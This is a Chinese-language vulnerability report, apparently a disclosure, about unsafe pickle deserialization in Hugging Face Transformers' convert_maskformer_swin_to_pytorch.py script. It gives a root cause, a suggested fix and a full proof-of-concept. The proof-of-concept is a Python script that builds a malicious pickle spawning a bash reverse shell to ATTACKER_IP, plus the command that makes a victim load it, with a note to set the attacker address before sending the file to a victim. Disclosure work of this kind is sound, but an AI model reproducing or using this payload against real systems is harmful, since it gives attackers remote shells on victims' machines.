漏洞高级概述及影响:
攻击者可以通过向 Hugging Face Transformers 仓库中的 convert_maskformer_swin_to_pytorch.py 脚本提供恶意的 maskformer resnet 检查点文件,在目标主机上执行任意代码。
如果不知情的用户使用了第三方的 maskformer resnet 检查点文件,执行 convert_maskformer_swin_to_pytorch.py 脚本将导致受害者系统上的远程代码执行 (RCE)。
受影响产品
根因分析
漏洞详细描述: 该漏洞源于对不可信数据的不安全反序列化。脚本使用 pickle.load 加载检查点文件,容易导致代码执行。
从输入到漏洞条件的代码流程:
maskformer 模型。convert_maskformer_swin_to_pytorch.py 脚本并将检查点文件传给它。convert_maskformer_swin_to_pytorch.py 脚本反序列化检查点文件并执行恶意代码。注入点: 漏洞发生在调用 pickle.load 的位置。
GitHub 永久链接:https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240
建议修复方案: 将 pickle.load 替换为 yaml.safe_load(yaml_file) 或 json.load,以防止任意代码执行。
执行概念验证的说明:
malicious.pkl,该文件将在受害者系统上创建一个反弹 shell:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))
malicious_data = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(malicious_data)
print("Malicious pickle file created successfully.")
注意:在向受害者发送文件之前,请更改 ATTACKER_IP 和 ATTACKER_PORT。
convert_maskformer_swin_to_pytorch.py 脚本,并将 malicious.pkl 文件传递给 --checkpoint_path:> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub
注意:
pytorch_dump_folder_path可以设置为任意目录,model_name可以是任意模型。
软件下载链接:
https://github.com/huggingface/transformers/tree/main